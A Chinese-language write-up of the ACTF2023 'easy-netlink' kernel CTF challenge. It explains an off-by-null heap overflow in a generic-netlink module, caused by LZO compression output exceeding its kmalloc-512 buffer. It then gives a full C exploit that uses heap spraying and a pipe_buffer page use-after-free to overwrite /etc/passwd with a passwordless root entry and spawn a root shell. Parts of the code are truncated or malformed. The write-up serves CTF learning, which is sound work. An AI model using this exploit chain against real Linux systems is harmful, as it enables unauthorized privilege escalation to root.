【越界写null字节】ACTF2023 easy-netlink

前言

最近在矩阵杯遇到了一道 generic netlink 相关的内核题，然后就简单学习了一下 generic netlink 相关概念，然后又找了一到与 generic netlink 相关的题目。简单来说 generic netlink 相关的题目仅仅是将用户态与内核态的交互方式从传统的 ioctl 变成了 netlink，所以了解了 generic netlink 的交互方式，其实就跟传统的内核题没啥区别。

漏洞分析

内核版本 v6.5.7，smap/smep/kaslr 全开
开启了 CONFIG_SLAB_FREELIST_RANDOM 和 CONFIG_SLAB_FREELIST_HARDENED，但是不存在 cg 隔离
key_uring / pipe / fcntl 等相关系统调用都可以使用

bbs_nl_family 结构体如下：
在这里插入图片描述
可以看到这里定义了 15 个功能，注意这里不是设置的 ops，而是 split_ops，bbs_nl_ops 如下：

从函数名可以看出，这里就存在对 type 的 add/get/del 操作；对 title 的 add/edot/del/get 操作；对 msg 的 add/edit/del/star/get 操作。
其中 type 的结构体定义如下：
在这里插入图片描述
title 的结构体定义如下：

msg 的结构体定义如下，因为我并没有分析所有的功能函数，所以这里有一些字段意义不明：

三者的关系如下：

这里 msg 我没有画出来，其是连接在 title 的 msg_list 链表上的，这里调试发现 title 与 msg 是一对一的似乎。

漏洞发生在 bbs_nl_add_msg_doit 函数中：
在这里插入图片描述
这里的伪代码不是很好看，这里逻辑如下：

unsigned int data_len = nlattr4->nla_len - 4;
if (data_len <= 1023) {void *data = nlattr4->data;void *ptr = kmalloc(data_len, GFP_KERNEL | GFP_ZERO);msg->compress_data = ptr;int len = strlen(data);memcpy(src, data, len); // char src[1072]，所以这里不存在溢出// 将 src 中 data_len 的进行压缩，压缩后的数据存储在 ptr 中（包含压缩元数据）lzo1x_1_compress(src, data_len, ptr, v45, &wrk);goto LABEL_21;
}

这里分配的压缩后的存储区域刚好为输入的压缩数据的大小，而压缩后的数据包含一些压缩元数据。一般情况下，压缩后的数据确实比源输入数据小，但是这里我们可以精心输入一些输入数据，使得其压缩率非常低，即压缩的字节数<元数据的字节数，此时就会发生越界写的问题。

比如我们输入 512 字节的数据，那么此时分配的 ptr 的空间为 kmalloc-512，如果此时的压缩比很低，比如只压缩了 2 个字节，但是压缩的元数据为 3 个字节，那么此时压缩后的数据大小为：512 - 2 + 3 = 513 字节，所以此时就会向 ptr => kmalloc-512 中写入 513 字节，此时就会发送溢出写。当然这里的 data_len <= 1023 所以我们可以利用的堆块大小有较多的选择，这里我选择 kmalloc-512

最开始，我是让 gpt 帮我生成，但是都不行，其压缩比都比较高。最后我利用 python 的伪随机数生成器生成了一串序列：

import randomxx = []
for i in range(1024):x = random.randint(1, 255)while x == ord('"'):x = random.randint(1, 255)xx.append(x)for i in xx:print("\\"+"x"+hex(i)[2:].zfill(2), end="")
print("")\x18\x2e\x86\x2a\x07\xa7\xb7\x08\x63\xbf\xdf\x0b\xd8\x36\xde\xdd\x5a\x48\xf5\x78\x23\x9f\xb8\x2c\x49\x66\xc7\xa0\xee\x3e\xee\x9c\x44\x2a\x92\x5a\x6a\xc7\xdf\x6e\xa1\x98\x6d\x8f\xff\x2c\x21\x7b\x77\xbd\xbb\xda\xcc\x10\x58\x4c\x61\x15\x50\x40\xdb\x74\x70\xea\x57\xe0\x0d\xaf\x94\xe0\xf8\xf7\xbb\xe3\xd6\x88\xdc\x52\x43\x5a\x7f\x4e\xde\x96\xf6\xdb\x03\xa7\x96\x78\x3c\xee\x31\xc7\x23\xe6\xc9\x20\x58\x8f\xe6\x91\xf7\x7d\xc6\xa2\xcf\xa9\x39\x14\x89\x13\x7d\x88\xac\x1a\xf3\xa4\xa5\x59\xdd\x76\xa5\x64\x35\x4f\xc5\x18\x24\xf1\xde\x12\x48\x25\x09\xbd\x49\xd8\x76\xac\xf2\x07\x1c\xc7\x3b\x62\x34\xbb\xf6\x90\xd9\x97\x35\xf2\x48\x15\xc3\x79\xc3\x73\x03\xff\xa4\x59\x05\x76\xfb\x7e\x0f\x4b\x42\xa1\xe6\xd8\x21\xec\xf7\x26\x99\xbb\xe1\x08\x14\x60\xdd\xea\xd6\x55\x27\x90\x2d\xa8\x98\x1c\x5e\xc5\xba\x82\x37\xc2\xc6\x47\x3b\xff\xa7\x33\x54\x30\x66\x67\xe7\xcd\xc5\x8d\x60\xd3\xb6\x2c\xf7\x8f\x27\x47\x26\xe6\xcf\x02\x16\x42\x77\xc1\x9f\xa3\xa4\xd9\x69\xd0\x3e\x68\x4f\xbd\xb5\xac\xdd\x0f\x4c\xbc\x29\xdb\x5f\x91\x23\x06\xd9\xb1\xd4\xb0\xcb\x83\xcc\x58\x01\x26\xa4\x78\x1c\x6a\x0e\x7f\x76\x02\xb4\x14\x50\x0d\xf7\x51\x3d\x93\xcf\x5a\xa8\xb9\xcc\x68\xa0\xfd\xa3\xcd\x47\x5c\x58\xf1\x15\x9d\xd8\xdd\x56\xf7\xd4\x5e\x10\x99\xbd\xe5\x48\x86\x2a\x1b\x41\x10\xa5\x31\x1c\x21\x0a\x74\x64\x63\x64\x4a\x3f\x35\x4f\x53\x85\xf7\x5c\xbe\x33\xa2\x59\xd1\x78\x7a\x0c\xd0\xe6\x8e\xed\x79\xba\x7b\xb2\x07\xa6\x7e\x1d\x90\xf9\xaa\xed\x74\x99\xe5\x05\xa0\xde\x41\x99\x91\xa5\x22\x49\xe4\xe7\x71\x0a\x7c\x86\x32\x99\x9b\xa3\xbb\x89\xce\x6a\x2e\xaa\xf8\xc2\x85\x84\x91\x22\xae\xd7\x9c\xff\xc8\x41\xa9\x45\x36\x87\xad\xa8\x1c\xce\x09\x48\xfa\xaa\x51\x2f\x7e\x80\x57\x16\xff\x62\x4b\x45\x2c\x38\xc3\x1c\xfd\x83\x41\x9d\xfa\x22\xb1\x09\x90\xfc\x39\xa2\xce\xb7\x4a\xb3\x42\xd9\x7f\xb8\x6a\x9d\xa6\xf2\xa5\x73\x23\x45\xc8\x3b\x0e\xf7\x95\x36\x21\xfc\x7b\x84\xb7\xf6\x77\x58\xb1\x4c\x3f\xe4\x50\x3d\x30\xc7\x94\x31\xc0\x7a\x10\x2f\xc1\x06\xc9\x12\xbc\x55\xf8\x1b\x38\xa9\x31\x6f\x40\xa7\xc0\xa5\xa1\x3d\x3f\xe2\x80\x67\x03\x35\x8e\x31\xd0\x38\xf1\xd8\x88\x57\xd2\x89

这串序列的效果可以实现一个 kmalloc-512 off by null，即溢出写下一个相邻堆块的低字节为 null 字节。

漏洞利用

这里我选择利用 pipe_buffer 去构造 page uaf，然后在 page uaf 的基础上就可以随便玩了。我选择的是在 uaf page 上堆喷 pipe_buffer 从而打 dirty pipe，具体思路如下：

交替堆喷 kmalloc-512 pipe_buffer 和 kmalloc-512 user_key_paylaod，释放所有的 kmalloc-512 user_key_payload 构造一些空洞
替换 msg 进行越界写 null 字节，大概率可以形成如下内存布局：
close(original pipe)，此时 page 会被释放，当时 victim pipe 仍然保留着对其的引用，所有成功构造 page uaf
在 uaf page 上堆喷大量的 kmalloc-512 pipe_buffer 并 splice，然后就可以利用 victim pipe 对其进行读写

这里我选择的是修改 /etc/passwd，这里为了演示效果，修改下 init 脚本：

#!/bin/shchown root * -Rmount -t proc none /proc
mount -t tmpfs none /tmp
mount -t sysfs none /sys
mount -t devtmpfs none /devmkdir /dev/pts
mount /dev/ptsecho 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrictinsmod /lib/module/bbs.ko
#lsmod
chmod +s /bin/busyboxcd /home/ctf
#setsid cttyhack setuidgid 0 sh
setsid cttyhack setuidgid 1000 shpoweroff -f

使用 chown root * -R 设置文件的所有者；然后给 /bin/busybox 一个 s 权限，使得后面可以执行 su。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <assert.h>
#include <sys/resource.h>#include <linux/genetlink.h>
#include <libmnl/libmnl.h>
#define PWN_NAME "bbs"
#define CMD_ADD_TYPE  1
#define ADD_TYPE_NAME 1
#define ADD_TYPE_DATA 2#define CMD_GET_TYPE_DUMPIT 2#define CMD_DELE_TYPE  3
#define DELE_TYPE_NAME 1#define CMD_ADD_TITLE        4
#define ADD_TITLE_TYPE_NAME  1
#define ADD_TITLE_TITLE_NAME 2
#define ADD_TITLE_DATA       3#define CMD_EDIT_TITLE        5
#define EDIT_TITLE_TYPE_NAME  1
#define EDIT_TITLE_TITLE_NAME 2
#define EDIT_TITLE_DATA       3#define CMD_DELE_TITLE        6
#define DELE_TITLE_TYPE_NAME  1
#define DELE_TITLE_TITLE_NAME 2#define CMD_ADD_MSG        8
#define ADD_MSG_TYPE_NAME  1
#define ADD_MSG_TITLE_NAME 2
#define ADD_MSG_MSG_NAME   3
#define ADD_MSG_DATA       4#define CMD_DELE_MSG        10
#define DELE_MSG_TYPE_NAME  1
#define DELE_MSG_TITLE_NAME 2
#define DELE_MSG_MSG_NAME   3#define CMD_STAR_MSG        11
#define STAR_MSG_TYPE_NAME  1
#define STAR_MSG_TITLE_NAME 2
#define STAR_MSG_MSG_NAME   3
#define STAR_MSG_NUMS       7#define REDS "\033[31m\033[1m"
#define REDE "\033[0m"
#define fail_exit(msg) { printf(REDS"[Error %s, %d line, %s]: %s\n"REDE, \__FUNCTION__, __LINE__, __FILE__, msg);\exit(-1); }void err_exit(char *msg)
{puts(msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}uint32_t PWN_ID;
static int data_attr_cb(const struct nlattr *attr, void *data) {const struct nlattr **tb = data;int type = mnl_attr_get_type(attr);if (mnl_attr_type_valid(attr, CTRL_ATTR_MAX) < 0)return MNL_CB_OK;switch (type) {case CTRL_ATTR_FAMILY_NAME:if (mnl_attr_validate(attr, MNL_TYPE_STRING) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;case CTRL_ATTR_FAMILY_ID:if (mnl_attr_validate(attr, MNL_TYPE_U16) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;case CTRL_ATTR_VERSION:case CTRL_ATTR_HDRSIZE:case CTRL_ATTR_MAXATTR:if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;case CTRL_ATTR_OPS:case CTRL_ATTR_MCAST_GROUPS:if (mnl_attr_validate(attr, MNL_TYPE_NESTED) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;}tb[type] = attr;return MNL_CB_OK;
}static int data_cb(const struct nlmsghdr *nlh, void *data) {struct nlattr *tb[CTRL_ATTR_MAX + 1] = {};struct genlmsghdr *genl = mnl_nlmsg_get_payload(nlh);mnl_attr_parse(nlh, sizeof(*genl), data_attr_cb, tb);if (tb[CTRL_ATTR_FAMILY_NAME]) {printf("name=%s\t", mnl_attr_get_str(tb[CTRL_ATTR_FAMILY_NAME]));}if (tb[CTRL_ATTR_FAMILY_ID]) {PWN_ID = mnl_attr_get_u16(tb[CTRL_ATTR_FAMILY_ID]);printf("id=%u\t", PWN_ID);}if (tb[CTRL_ATTR_VERSION]) {printf("version=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_VERSION]));}if (tb[CTRL_ATTR_HDRSIZE]) {printf("hdrsize=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_HDRSIZE]));}if (tb[CTRL_ATTR_MAXATTR]) {printf("maxattr=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_MAXATTR]));}printf("\n");return MNL_CB_OK;
}void get_family_id() {struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = GENL_ID_CTRL;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CTRL_CMD_GETFAMILY;genl->version = 1;mnl_attr_put_u32(nlh, CTRL_ATTR_FAMILY_ID, GENL_ID_CTRL);mnl_attr_put_strz(nlh, CTRL_ATTR_FAMILY_NAME, PWN_NAME);nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, data_cb, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1) {fail_exit("error");}mnl_socket_close(nl);
}void add_type(char *type_name, char *data) {struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = PWN_ID;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CMD_ADD_TYPE;genl->version = 1;type_name[strlen(type_name)] = '\x00';if (strlen(data) > 128)data[128] = '\x00';elsedata[strlen(data)] = '\x00';mnl_attr_put_strz(nlh, ADD_TYPE_NAME, type_name);mnl_attr_put_strz(nlh, ADD_TYPE_DATA, data);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1){perror("ERR");fail_exit("error");}mnl_socket_close(nl);
}void add_title(char *type_name, char *title_name, char *data){struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = PWN_ID;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CMD_ADD_TITLE;genl->version = 1;type_name[strlen(type_name)] = '\x00';title_name[strlen(title_name)] = '\x00';if (strlen(data) > 128)data[128] = '\x00';elsedata[strlen(data)] = '\x00';mnl_attr_put_strz(nlh, ADD_TITLE_TYPE_NAME, type_name);mnl_attr_put_strz(nlh, ADD_TITLE_TITLE_NAME, title_name);mnl_attr_put_strz(nlh, ADD_TITLE_DATA, data);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1){perror("ERR");fail_exit("error");}mnl_socket_close(nl);
}void add_msg(char *type_name, char *title_name, char *msg_name){struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = PWN_ID;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CMD_ADD_MSG;genl->version = 1;type_name[strlen(type_name)] = '\x00';title_name[strlen(title_name)] = '\x00';msg_name[strlen(msg_name)] = '\x00';char msg[1024] = { 0 };strcpy(msg, "\x18\x2e\x86\x2a\x07\xa7\xb7\x08\x63\xbf\xdf\x0b\xd8\x36\xde\xdd\x5a\x48\xf5\x78\x23\x9f\xb8\x2c\x49\x66\xc7\xa0\xee\x3e\xee\x9c\x44\x2a\x92\x5a\x6a\xc7\xdf\x6;msg[strlen(msg)] = '\x00';mnl_attr_put_strz(nlh, ADD_MSG_TYPE_NAME, type_name);mnl_attr_put_strz(nlh, ADD_MSG_TITLE_NAME, title_name);mnl_attr_put_strz(nlh, ADD_MSG_MSG_NAME, msg_name);mnl_attr_put_strz(nlh, ADD_MSG_DATA, msg);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1){perror("ERR");fail_exit("error");}mnl_socket_close(nl);
}void inc_limit()
{int ret;struct rlimit open_file_limit;ret = getrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);printf("[*] file limit: %ld\n", open_file_limit.rlim_max);open_file_limit.rlim_cur = open_file_limit.rlim_max;ret = setrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;/* read start from len to offset, write start from offset */
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};void dirty_pipe() {#define SPRAY_PIPE_NUMS (450)int pipe_fd[SPRAY_PIPE_NUMS][2];
//      #define ATTACK_FILE "/bin/busybox"#define ATTACK_FILE "/etc/passwd"#define ATTACK_SPRAY_NUMS (200)#define SPRAY_KEYS_NUMS (75)int file_fd[ATTACK_SPRAY_NUMS];int pipe_fd_[ATTACK_SPRAY_NUMS][2];int key_id[SPRAY_KEYS_NUMS];char type_name[0x20+1] = { 0 };char title_name[0x40+1] = { 0 };char msg_name[0x100+1] = { 0 };char data[0x1000] = { 0 };char buf[0x1000] = { 0 };char desc[0x100] = { 0 };memset(data, 'A', 0x100);get_family_id();strcpy(type_name, "pwnType");add_type(type_name, data);puts("===================== check ====================");puts("[+] CHECK");system("id");system("ls -alh /etc/passwd");system("cat /etc/passwd");system("echo 'AAAA' > /etc/passwd");puts("===================== pwn ======================");puts("[+] Prepare some title objects");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {sprintf(title_name, "%s%d", "pwnTitle", i);add_title(type_name, title_name, data);}puts("[+] Spraying filp && pipe_buffer for dirty pipe");for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {file_fd[i] = open(ATTACK_FILE, O_RDONLY);if (file_fd[i] < 0) err_exit("open");}for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {if (pipe(pipe_fd_[i]) < 0) fail_exit("pipe");
//              write(pipe_fd_[i][1], "XiaozaYa", 8);}puts("[+] Spraying pipe_buffer to prepare for PAGE UAF");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (pipe(pipe_fd[i]) < 0) fail_exit("pipe");}
//      puts("[+] DEBUG");
//      getchar();puts("[+] Fcntl pipe_buffer to kmalloc-512 and alloc kmalloc-512 user_key_payload");int start = SPRAY_PIPE_NUMS - SPRAY_KEYS_NUMS;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {sprintf(desc, "XiaozaYa-%d", i);if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*8) < 0) fail_exit("fcntl");write(pipe_fd[i][1], "XiaozaYa", 8);uint64_t nr = 0xdead0000+i;write(pipe_fd[i][1], &nr, 8);if (i >= start && i < SPRAY_KEYS_NUMS + start)if ((key_id[i-start] = key_alloc(desc, buf, 248)) < 0) fail_exit("key_alloc");}
//      puts("[+] DEBUG");
//      getchar();puts("[+] Freeing kmalloc-512 user_key_payload to construct some holes");for (int i = 0; i < SPRAY_KEYS_NUMS; i++) {if (key_revoke(key_id[i]) < 0) fail_exit("key_revoke");if (key_unlink(key_id[i]) < 0) fail_exit("key_unlink");}sleep(2);uint64_t victim_idx   = -1;uint64_t original_idx = -1;puts("[+] Spraying msg to occupy and construct PAGE UAF");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {memset(title_name, 0, sizeof(title_name));memset(msg_name, 0, sizeof(msg_name));sprintf(title_name, "%s%d", "pwnTitle", i);sprintf(msg_name, "%s%d", "pwnMsg", i);add_msg(type_name, title_name, msg_name);}puts("[+] Check Hit or Not");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {char tag[0x10] = { 0 };uint64_t nr = -1;read(pipe_fd[i][0], tag, 8);read(pipe_fd[i][0], &nr, 8);if ((nr&0xffff0000) != 0xdead0000) continue;
//              printf("%#x-%#lx\n", i, nr);
//              puts(tag);if (!strcmp(tag, "XiaozaYa") && (nr-0xdead0000) != i) {victim_idx = i;original_idx = nr - 0xdead0000;break;}}if (victim_idx == -1) fail_exit("So Bad");printf("[+] victim_idx: %ld\n", victim_idx);printf("[+] original_idx: %ld\n", original_idx);memset(buf, 'A', sizeof(buf));write(pipe_fd[victim_idx][1], buf, 192+sizeof(struct pipe_buffer));read(pipe_fd[victim_idx][0], buf, 192);close(pipe_fd[original_idx][0]);close(pipe_fd[original_idx][1]);puts("[+] Fcntl attack_pipe to kmalloc-512 and occupy UAF PAGE");for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {if (fcntl(pipe_fd_[i][1], F_SETPIPE_SZ, 0x1000*4) < 0) fail_exit("fcntl");}for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {loff_t offset = 1;if (splice(file_fd[i], &offset, pipe_fd_[i][1], NULL, 1, 0) <= 0) fail_exit("fcntl");}memset(buf, 0, sizeof(buf));struct pipe_buffer evil_buf;puts("[+] Spraying some kmalloc-512 user_key_payload to occupy the rest objects");memset(desc, 0, sizeof(desc));for (int i = 0; i < SPRAY_KEYS_NUMS / 2; i++) {sprintf(desc, "GO-%d", i);if ((key_id[i] = key_alloc(desc, buf, 248)) < 0) fail_exit("key_alloc");}uint64_t page_ops = 0xffffffff82227860;read(pipe_fd[victim_idx][0], &evil_buf, sizeof(struct pipe_buffer));if (((uint64_t)evil_buf.ops&0xffffffff00000fff) != (page_ops&0xffffffff00000fff)) {fail_exit("So Bad");}printf("[======= dump page    =====] %p\n",  evil_buf.page);printf("[======= dump offset  =====] %d\n",  evil_buf.offset);printf("[======= dump len     =====] %d\n",  evil_buf.len);printf("[======= dump ops     =====] %p\n",  evil_buf.ops);printf("[======= dump flags   =====] %#x\n", evil_buf.flags);printf("[======= dump private =====] %ld\n", evil_buf.private);int evil_idx = evil_buf.offset - 1;//      getchar();
//      memset(buf, '\x00', sizeof(buf));evil_buf.offset = 0;evil_buf.len = 0;evil_buf.flags = 0x10;write(pipe_fd[victim_idx][1], &evil_buf, sizeof(struct pipe_buffer));char *cmd = "root::0:0:root:/root:/bin/sh\x00";for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {if (write(pipe_fd_[i][1], cmd, strlen(cmd)+1) < 0) fail_exit("write pipe")}puts("===================== root =====================");puts("So cool~~~");system("cat /etc/passwd");system("su root");puts("EXP NERVER END!");
//      while(1) {}
}int main() {bind_core(0);inc_limit();setbuf(stdout, 0);dirty_pipe();return 0;
}